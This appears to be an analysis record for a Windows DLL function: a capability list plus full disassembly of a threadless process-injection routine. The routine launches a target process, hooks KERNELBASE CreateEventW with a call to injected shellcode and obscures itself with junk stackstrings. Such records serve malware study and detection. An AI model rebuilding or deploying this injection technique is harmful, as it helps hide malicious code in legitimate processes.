Function at 0x180009060
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create process on windows
Create process suspended

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x7e8
mov rax, qword [0x180057080]
xor rax, rsp
mov qword [rsp + 0x7d8], rax
mov qword [rsp + 0x6e8], 0
mov dword [rsp + 0x220], 4
mov dword [rsp + 0x98], 0
lea rax, [rsp + 0x4c0]
lea rcx, str.ueJyQjdGxwsBfKSZD
mov rdi, rax
mov rsi, rcx
mov ecx, 0x12
rep movsb byte [rdi], byte [rsi]
xor eax, eax
mov word [rsp + 0x16c], ax
mov byte [rsp + 0x88], 1
mov byte [rsp + 0x94], 0x6c
mov dword [rsp + 0x224], 5
mov byte [rsp + 0x7c8], 0x4b
mov byte [rsp + 0x7c9], 0x45
mov byte [rsp + 0x7ca], 0x52
mov byte [rsp + 0x7cb], 0x4e
mov byte [rsp + 0x7cc], 0x45
mov byte [rsp + 0x7cd], 0x4c
mov byte [rsp + 0x7ce], 0x42
mov byte [rsp + 0x7cf], 0x41
mov byte [rsp + 0x7d0], 0x53
mov byte [rsp + 0x7d1], 0x45
mov byte [rsp + 0x7d2], 0x2e
mov byte [rsp + 0x7d3], 0x64
mov byte [rsp + 0x7d4], 0x6c
mov byte [rsp + 0x7d5], 0x6c
mov byte [rsp + 0x7d6], 0
xor eax, eax
mov word [rsp + 0x170], ax
mov dword [rsp + 0x228], 4
mov qword [rsp + 0x2b0], 9
mov qword [rsp + 0x2b8], 0
mov byte [rsp + 0x60], 1
mov byte [rsp + 0x7b0], 0x43
mov byte [rsp + 0x7b1], 0x72
mov byte [rsp + 0x7b2], 0x65
mov byte [rsp + 0x7b3], 0x61
mov byte [rsp + 0x7b4], 0x74
mov byte [rsp + 0x7b5], 0x65
mov byte [rsp + 0x7b6], 0x45
mov byte [rsp + 0x7b7], 0x76
mov byte [rsp + 0x7b8], 0x65
mov byte [rsp + 0x7b9], 0x6e
mov byte [rsp + 0x7ba], 0x74
mov byte [rsp + 0x7bb], 0x57
mov byte [rsp + 0x7bc], 0
mov eax, 1
mov word [rsp + 0x17c], ax
mov dword [rsp + 0x22c], 4
mov qword [rsp + 0x260], 0
lea rax, [rsp + 0x608]
lea rcx, str.MherEWsmbOfpPvRKDzHLFAowGSVITacyiJgknqQCZNjlXxY
mov rdi, rax
mov rsi, rcx
mov ecx, 0x30
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x2c8], 9
mov eax, 3
mov word [rsp + 0xa0], ax
mov byte [rsp + 0x61], 1
mov qword [rsp + 0x2d0], 0
xor eax, eax
mov word [rsp + 0xa4], ax
mov qword [rsp + 0x2d8], 0
lea rcx, [rsp + 0x7c8]
call fcn.180007990
mov rcx, rax
call fcn.180006240
mov qword [rsp + 0x1a8], rax
mov eax, 3
mov word [rsp + 0xa8], ax
mov eax, 8
mov word [rsp + 0xac], ax
mov dword [rsp + 0x230], 7
mov qword [rsp + 0x2e0], 1
mov byte [rsp + 0x62], 0x56
cmp qword [rsp + 0x1a8], 0
jne 0x18000935a
lea rdx, [0x18004f870]
lea rcx, [0x1800587f0]
call fcn.1800146f0
lea rdx, [rsp + 0x7c8]
mov rcx, rax
call fcn.1800146f0
lea rdx, [0x180014a60]
mov rcx, rax
call fcn.18000a6f0
lea rax, [rsp + 0x5d8]
lea rcx, str.tQSJuBFrEqxKagZXUNWzMjICfmhdnHVcwORyYLPGbokiA
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2e
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x63], 1
mov dword [rsp + 0x174], 0xfffffffe
mov rcx, qword [rsp + 0x800]
call fcn.18000cea0
mov eax, dword [rsp + 0x174]
jmp 0x18000a4e5
lea rdx, [0x18004f8b8]
lea rcx, [0x1800587f0]
call fcn.1800146f0
lea rdx, [0x180014a60]
mov rcx, rax
call fcn.18000a6f0
mov byte [rsp + 0x66], 0x69
mov dword [rsp + 0x1cc], 6
xor eax, eax
mov word [rsp + 0xb0], ax
lea rax, [rsp + 0x530]
lea rcx, str.yQFGZolicnxsjrRYCLhTMNduUAK
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1c
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x7b0]
mov rcx, qword [rsp + 0x1a8]
call fcn.180006360
mov qword [rsp + 0x6e0], rax
cmp qword [rsp + 0x6e0], 0
jne 0x1800094c1
lea rdx, str.___
lea rcx, [0x1800587f0]
call fcn.1800146f0
mov rdx, qword [rsp + 0x6e0]
mov rcx, rax
call fcn.18000c0a0
lea rdx, [0x180014a60]
mov rcx, rax
call fcn.18000a6f0
mov eax, 4
mov word [rsp + 0xb4], ax
mov qword [rsp + 0x2e8], 0
mov eax, 6
mov word [rsp + 0xb8], ax
lea rax, [rsp + 0x578]
lea rcx, str.CmMaGZvAgIiXsxPWUERJYbHrQokduTthcNDpnylL
mov rdi, rax
mov rsi, rcx
mov ecx, 0x29
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x67], 1
mov qword [rsp + 0x2f0], 7
mov dword [rsp + 0x1d0], 7
mov dword [rsp + 0x178], 0xfffffffe
mov rcx, qword [rsp + 0x800]
call fcn.18000cea0
mov eax, dword [rsp + 0x178]
jmp 0x18000a4e5
lea rdx, str.__
lea rcx, [0x1800587f0]
call fcn.1800146f0
mov rdx, qword [rsp + 0x6e0]
mov rcx, rax
call fcn.18000c0a0
lea rdx, [0x180014a60]
mov rcx, rax
call fcn.18000a6f0
mov eax, 1
mov word [rsp + 0xc4], ax
mov eax, 9
mov word [rsp + 0xc8], ax
mov qword [rsp + 0x2f8], 0
mov byte [rsp + 0x6a], 1
mov qword [rsp + 0x300], 7
lea rax, [rsp + 0x740]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov eax, 9
mov word [rsp + 0xcc], ax
mov byte [rsp + 0x6b], 1
mov dword [rsp + 0x740], 0x68
mov byte [rsp + 0x6c], 0x54
mov qword [rsp + 0x308], 0
lea rax, [rsp + 0x720]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x238], rax
mov qword [rsp + 0x310], 8
mov dword [rsp + 0x738], 0
mov eax, 1
mov word [rsp + 0xd0], ax
mov qword [rsp + 0x318], 1
mov byte [rsp + 0x6d], 0x67
mov qword [rsp + 0x2c0], 0
lea rax, [rsp + 0x670]
lea rcx, str.HRTnQSmGazMLsBlPrOCtNxekdJvWwucoAYKDFhIypZUqEbVgfj
mov rdi, rax
mov rsi, rcx
mov ecx, 0x33
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x738]
mov rcx, qword [rsp + 0x238]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x1b0], rax
mov byte [rsp + 0x6e], 1
lea rax, [rsp + 0x498]
lea rcx, str.fuXIlzbUwcYeKW
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x1d8], 3
mov qword [rsp + 0x328], 0
mov byte [rsp + 0x6f], 0x4e
mov qword [rsp + 0x330], 0
mov eax, 3
mov word [rsp + 0xd4], ax
mov eax, 8
imul rax, rax, 2
mov qword [rsp + 0x240], rax
lea rdx, str.argv
lea rcx, [0x180058a30]
call fcn.180014ae0
mov rcx, qword [rsp + 0x1b0]
mov rdx, qword [rsp + 0x240]
mov rdx, qword [rcx + rdx]
mov rcx, rax
call fcn.18000a500
lea rdx, [0x180014f40]
mov rcx, rax
call fcn.18000a6f0
mov eax, 8
imul rax, rax, 2
mov rcx, qword [rsp + 0x1b0]
mov rcx, qword [rcx + rax]
call fcn.180008f00
mov qword [rsp + 0x1b8], rax
lea rax, [rsp + 0x720]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x740]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1800097e4
lea rcx, [0x18004f998]
call fcn.1800014c0
mov rdx, qword [rsp + 0x720]
lea rcx, [0x18004f9b0]
call fcn.1800014c0
lea rax, [rsp + 0x4a8]
lea rcx, str.fKZBbYmyTcRrQSlF
mov rdi, rax
mov rsi, rcx
mov ecx, 0x11
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x338], 2
mov dword [rsp + 0x1dc], 8
mov rdx, qword [rsp + 0x728]
lea rcx, [0x18004f9e0]
call fcn.1800014c0
mov qword [rsp + 0x340], 5
mov dword [rsp + 0x1e0], 0
mov qword [rsp + 0x348], 0
mov byte [rsp + 0x70], 1
mov rax, qword [rsp + 0x720]
mov qword [rsp + 0x6e8], rax
mov qword [rsp + 0x350], 4
mov eax, 4
mov word [rsp + 0xd8], ax
jmp 0x180009801
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rsp + 0x1b8]
lea rcx, [0x18004f9f0]
call fcn.1800014c0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [rsp + 0x6e8], 0
jne 0x1800098fa
cmp dword [rsp + 0x98], 0
jne 0x1800098fa
mov edx, dword [rsp + 0x98]
lea rcx, str.___ERROR__Could_not_open_process_with_pid__d_n
call fcn.1800014c0
mov eax, 5
mov word [rsp + 0xdc], ax
mov dword [rsp + 0x1e4], 7
mov byte [rsp + 0x71], 0x6a
mov byte [rsp + 0x72], 1
mov qword [rsp + 0x358], 0
mov eax, 5
mov word [rsp + 0xe0], ax
mov qword [rsp + 0x360], 2
mov dword [rsp + 0x180], 0xffffff9d
mov rcx, qword [rsp + 0x800]
call fcn.18000cea0
mov eax, dword [rsp + 0x180]
jmp 0x18000a4e5
mov edx, dword [rsp + 0x98]
lea rcx, str._____Successfully_opened_process_with_pid__d_n_n
call fcn.1800014c0
lea rcx, str.___Trying_to_find_memory_holes_n
call fcn.1800014c0
mov qword [rsp + 0x378], 0
mov byte [rsp + 0x75], 1
mov eax, 1
mov word [rsp + 0xe8], ax
mov rcx, qword [rsp + 0x800]
call fcn.18000cdb0
add rax, 0x38
mov r8, rax
mov rdx, qword [rsp + 0x6e0]
mov rcx, qword [rsp + 0x6e8]
call fcn.1800086e0
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x380], 0
mov byte [rsp + 0x76], 0x4a
mov qword [rsp + 0x388], 7
mov eax, 4
mov word [rsp + 0xec], ax
mov dword [rsp + 0x1ec], 0
mov byte [rsp + 0x77], 1
mov rax, qword [str.eMSnEhq]
mov qword [rsp + 0x390], rax
cmp qword [rsp + 0x58], 0
jne 0x180009a33
lea rcx, str.___Error__Could_not_find_memory_hole_n
call fcn.1800014c0
mov dword [rsp + 0x1f0], 8
mov qword [rsp + 0x398], 0
mov qword [rsp + 0x3a0], 0
lea rax, [rsp + 0x458]
lea rcx, str.LucipvOA
mov rdi, rax
mov rsi, rcx
mov ecx, 9
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x184], 0xffffff9d
mov rcx, qword [rsp + 0x800]
call fcn.18000cea0
mov eax, dword [rsp + 0x184]
jmp 0x18000a4e5
lea rdx, str.___VirtualAlloc_memory_success_
lea rcx, [0x1800587f0]
call fcn.1800146f0
lea rdx, [0x180014a60]
mov rcx, rax
call fcn.18000a6f0
mov eax, 9
mov word [rsp + 0xf0], ax
mov byte [rsp + 0x78], 0x55
mov qword [rsp + 0x3b0], 0
lea rdx, [rsp + 0x7b0]
lea rcx, str.___Reading_bytes_from_the_memory_address_of__s_n
call fcn.1800014c0
mov rax, qword [rsp + 0x6e0]
mov rax, qword [rax]
mov qword [rsp + 0x1c0], rax
lea rax, [rsp + 0x638]
lea rcx, str.DoFCxAEvJtLQNsuqeZpYdViahfrgnbyKzScPXTlOjHkIWUGMB
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov eax, 8
mov word [rsp + 0xf4], ax
mov eax, 9
mov word [rsp + 0xf8], ax
mov byte [rsp + 0x79], 0x4a
mov r8, qword [rsp + 0x1c0]
mov rdx, qword [rsp + 0x6e0]
lea rcx, str._____Address__p_has_value___lld_n_n
call fcn.1800014c0
mov dword [rsp + 0x1f4], 7
mov eax, 1
mov word [rsp + 0xfc], ax
lea rcx, str.___Generating_hook
call fcn.1800014c0
mov rcx, qword [rsp + 0x1c0]
call fcn.180008ba0
mov qword [rsp + 0x3b8], 2
mov eax, 7
mov word [rsp + 0x100], ax
lea rax, [rsp + 0x478]
lea rcx, str.YWrkHPfVpm
mov rdi, rax
mov rsi, rcx
mov ecx, 0xb
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x7a], 0x4d
mov qword [rsp + 0x3c0], 0
mov byte [rsp + 0x7b], 1
lea rdx, [rsp + 0x7b0]
lea rcx, str.___Changing_the_memory_protection_of__s_to_RWX_n
call fcn.1800014c0
mov qword [rsp + 0x3c8], 0
mov dword [rsp + 0x1f8], 0
mov qword [rsp + 0x3d0], 0
mov eax, 5
mov word [rsp + 0x104], ax
lea rax, [rsp + 0x510]
lea rcx, str.suQKOdqAlhbgnWzwGcReITYCD
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1a
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x7c], 1
mov eax, 4
mov word [rsp + 0x108], ax
mov dword [rsp + 0x1fc], 4
mov byte [rsp + 0x7d], 0x73
mov qword [rsp + 0x3d8], 0
mov eax, 2
mov word [rsp + 0x10c], ax
mov dword [rsp + 0x200], 8
mov rax, qword [rsp + 0x6e0]
mov qword [rsp + 0x700], rax
lea rdx, [0x18004fc4c]
lea rcx, [0x1800587f0]
call fcn.1800146f0
mov rdx, qword [rsp + 0x700]
mov rcx, rax
call fcn.18000c0a0
lea rdx, [0x180014a60]
mov rcx, rax
call fcn.18000a6f0
mov eax, 5
mov word [rsp + 0x110], ax
mov r9d, 0x40
lea r8, [rsp + 0x700]
mov edx, 8
lea rcx, [rsp + 0x6e8]
call fcn.180007a70
test eax, eax
je 0x180009ce3
lea rcx, str.___Error__Could_not_change_the_memory_protection_settings_n
call fcn.1800014c0
mov eax, 4
mov word [rsp + 0x114], ax
mov byte [rsp + 0x7e], 0x68
mov dword [rsp + 0x188], 0xffffff9d
mov rcx, qword [rsp + 0x800]
call fcn.18000cea0
mov eax, dword [rsp + 0x188]
jmp 0x18000a4e5
lea rdx, [rsp + 0x7b0]
lea rcx, str._____Successfully_changed_the_memory_protection_settings_of__s_to_RWX_n
call fcn.1800014c0
lea rdx, [0x18004fce8]
lea rcx, [0x1800587f0]
call fcn.1800146f0
mov rdx, qword [rsp + 0x6e0]
mov rcx, rax
call fcn.18000c0a0
lea rdx, [0x180014a60]
mov rcx, rax
call fcn.18000a6f0
mov qword [rsp + 0x3e8], 9
mov byte [rsp + 0x7f], 1
lea rax, [rsp + 0x468]
lea rcx, str.gVUjhsMku
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x3f0], 0
mov dword [rsp + 0x204], 5
mov eax, 8
mov word [rsp + 0x11c], ax
lea rcx, str.___Trying_to_gVmPKYDX_the_call_assembly_for_the_exported_function_n
call fcn.1800014c0
mov rax, qword [rsp + 0x6e0]
add rax, 5
mov rcx, qword [rsp + 0x58]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x18c], eax
lea rax, [rsp + 0x1c8]
lea rcx, [0x18004fd44]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x3f8], 0
mov byte [rsp + 0x80], 0x4e
mov qword [rsp + 0x400], 4
mov byte [rsp + 0x7c0], 0xe8
mov byte [rsp + 0x7c1], 0
mov byte [rsp + 0x7c2], 0
mov byte [rsp + 0x7c3], 0
mov byte [rsp + 0x7c4], 0
mov qword [rsp + 0x408], 0
mov eax, 8
mov word [rsp + 0x120], ax
mov qword [rsp + 0x410], 0
mov eax, dword [rsp + 0x18c]
mov dword [rsp + 0x7c1], eax
mov qword [rsp + 0x418], 0
mov qword [rsp + 0x248], 5
mov qword [rsp + 0x420], 6
mov eax, 4
mov word [rsp + 0x124], ax
mov qword [rsp + 0x428], 0
mov byte [rsp + 0x81], 1
mov eax, 2
mov word [rsp + 0x128], ax
lea rax, [rsp + 0x488]
lea rcx, str.thqnoGkgAQR
mov rdi, rax
mov rsi, rcx
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x82], 0x6b
lea rax, [rsp + 0x7c0]
mov qword [rsp + 0x6f0], rax
xor eax, eax
mov word [rsp + 0x12c], ax
mov r9d, 0x40
lea r8, [rsp + 0x6f0]
mov rdx, qword [rsp + 0x248]
lea rcx, [rsp + 0x6e8]
call fcn.180007a70
mov byte [rsp + 0x83], 1
mov qword [rsp + 0x430], 0
mov r9d, 5
lea r8, [rsp + 0x6f0]
lea rdx, [rsp + 0x6e0]
lea rcx, [rsp + 0x6e8]
call fcn.180007e00
test eax, eax
je 0x180009fd6
lea rdx, [rsp + 0x7b0]
lea rcx, str.___Error__Could_redirect__s_n
call fcn.1800014c0
mov qword [rsp + 0x438], 9
mov byte [rsp + 0x84], 0x6e
mov dword [rsp + 0x190], 0xffffff9d
mov rcx, qword [rsp + 0x800]
call fcn.18000cea0
mov eax, dword [rsp + 0x190]
jmp 0x18000a4e5
lea rdx, [rsp + 0x7b0]
lea rcx, str._____Successfully_modified__s_function_to_call_the_custom_shellcode_n
call fcn.1800014c0
mov rcx, qword [rsp + 0x800]
call fcn.18000cdb0
add rax, 0x38
mov dword [rsp + 0x50], eax
mov eax, 7
mov word [rsp + 0x138], ax
mov byte [rsp + 0x87], 0x65
lea rax, [rsp + 0x4d8]
lea rcx, str.oCfOUSnLtxTZIryXwR
mov rdi, rax
mov rsi, rcx
mov ecx, 0x13
rep movsb byte [rdi], byte [rsi]
mov eax, 6
mov word [rsp + 0x13c], ax
mov dword [rsp + 0x20c], 2
mov byte [rsp + 0x8f], 1
mov qword [rsp + 0x448], 0
lea rdx, [0x18004fdfc]
lea rcx, [0x1800587f0]
call fcn.1800146f0
mov edx, dword [rsp + 0x50]
mov rcx, rax
call fcn.18000c860
lea rdx, [0x180014a60]
mov rcx, rax
call fcn.18000a6f0
mov dword [rsp + 0x210], 1
mov byte [rsp + 0x89], 0x6f
mov qword [rsp + 0x450], 8
movsxd rax, dword [rsp + 0x50]
mov rcx, rax
call fcn.18001cc8c
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x1a0], rax
mov byte [rsp + 0x8a], 0x50
mov eax, 3
mov word [rsp + 0x140], ax
mov rcx, qword [rsp + 0x800]
call fcn.18000cdb0
mov qword [rsp + 0x258], rax
mov rcx, qword [rsp + 0x800]
call fcn.18000ce80
mov rcx, qword [rsp + 0x258]
mov qword [rsp + 0x20], rcx
mov r9, rax
mov r8d, 0x38
lea rdx, [0x180057cd0]
mov rcx, qword [rsp + 0x1a0]
call fcn.180008c40
mov qword [rsp + 0x268], 5
lea rdx, [0x18004fe08]
lea rcx, [0x1800587f0]
call fcn.1800146f0
mov edx, dword [rsp + 0x50]
mov rcx, rax
call fcn.18000c860
lea rdx, [0x18004fe04]
mov rcx, rax
call fcn.1800146f0
mov rdx, qword [rsp + 0x1a0]
mov rcx, rax
call fcn.180014ab0
lea rdx, [0x180014a60]
mov rcx, rax
call fcn.18000a6f0
mov qword [rsp + 0x270], 0
mov eax, 8
mov word [rsp + 0x144], ax
mov byte [rsp + 0x8b], 0x4c
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x6f8], rax
mov eax, 1
mov word [rsp + 0x148], ax
lea rdx, [0x18004fe14]
lea rcx, [0x1800587f0]
call fcn.1800146f0
mov rdx, qword [rsp + 0x6f8]
mov rcx, rax
call fcn.18000c0a0
lea rdx, [0x180014a60]
mov rcx, rax
call fcn.18000a6f0
mov qword [rsp + 0x278], 0
lea rax, [rsp + 0x6a8]
lea rcx, str.BFTbjOWypiYndGHxJQMhNCrPfKREotuSXDkawsLecIAmVqUZgvzl
mov rdi, rax
mov rsi, rcx
mov ecx, 0x35
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x8c], 0x7a
mov byte [rsp + 0x8d], 1
mov eax, 3
mov word [rsp + 0x14c], ax
movsxd rax, dword [rsp + 0x50]
mov r9d, 4
lea r8, [rsp + 0x6f8]
mov rdx, rax
lea rcx, [rsp + 0x6e8]
call fcn.180007a70
test eax, eax
je 0x18000a2d1
mov rdx, qword [rsp + 0x58]
lea rcx, str._Error__Modifying_the_memory_protection_of_the_memory_hole:__p_before_write_n
call fcn.1800014c0
mov byte [rsp + 0x8e], 1
mov qword [rsp + 0x280], 6
lea rax, [rsp + 0x550]
lea rcx, str.skFzXwqAKtDExgRMQLUTNOylencbvSfVJau
mov rdi, rax
mov rsi, rcx
mov ecx, 0x24
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x214], 6
mov dword [rsp + 0x194], 0xffffff9d
mov rcx, qword [rsp + 0x800]
call fcn.18000cea0
mov eax, dword [rsp + 0x194]
jmp 0x18000a4e5
lea rdx, [0x18004fed4]
lea rcx, [0x1800587f0]
call fcn.1800146f0
mov rdx, qword [rsp + 0x58]
mov rcx, rax
call fcn.18000c0a0
lea rdx, [0x180014a60]
mov rcx, rax
call fcn.18000a6f0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x710], rax
mov eax, 3
mov word [rsp + 0x150], ax
mov qword [rsp + 0x288], 9
mov eax, 4
mov word [rsp + 0x154], ax
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x718], rax
movsxd rax, dword [rsp + 0x50]
mov r9, rax
lea r8, [rsp + 0x718]
lea rdx, [rsp + 0x710]
lea rcx, [rsp + 0x6e8]
call fcn.180007e00
test eax, eax
je 0x18000a3e8
mov rdx, qword [rsp + 0x58]
lea rcx, str._Error__Writing_to_the_memory_hole_address:__p_n
call fcn.1800014c0
mov qword [rsp + 0x290], 9
xor eax, eax
mov word [rsp + 0x158], ax
mov byte [rsp + 0x9c], 0x7a
mov dword [rsp + 0x198], 0xffffff9d
mov rcx, qword [rsp + 0x800]
call fcn.18000cea0
mov eax, dword [rsp + 0x198]
jmp 0x18000a4e5
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x708], rax
movsxd rax, dword [rsp + 0x50]
mov r9d, 0x20
lea r8, [rsp + 0x708]
mov rdx, rax
lea rcx, [rsp + 0x6e8]
call fcn.180007a70
test eax, eax
je 0x18000a4c0
mov rdx, qword [rsp + 0x58]
lea rcx, str._Error__Modifying_the_memory_protection_of_the_memory_hole:__p_after_write_n
call fcn.1800014c0
mov dword [rsp + 0x218], 2
mov qword [rsp + 0x2a0], 0
mov byte [rsp + 0x92], 0x69
mov qword [rsp + 0x2a8], 7
xor eax, eax
mov word [rsp + 0x160], ax
mov dword [rsp + 0x19c], 0xffffff9d
mov rcx, qword [rsp + 0x800]
call fcn.18000cea0
mov eax, dword [rsp + 0x19c]
jmp 0x18000a4e5
lea rcx, str._n___Injection_successful__wait_for_your_trigger_function__n
call fcn.1800014c0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rcx, qword [rsp + 0x800]
call fcn.18000cea0
mov rcx, qword [rsp + 0x7d8]
xor rcx, rsp
call fcn.18001c960
add rsp, 0x7e8
pop rdi
pop rsi
ret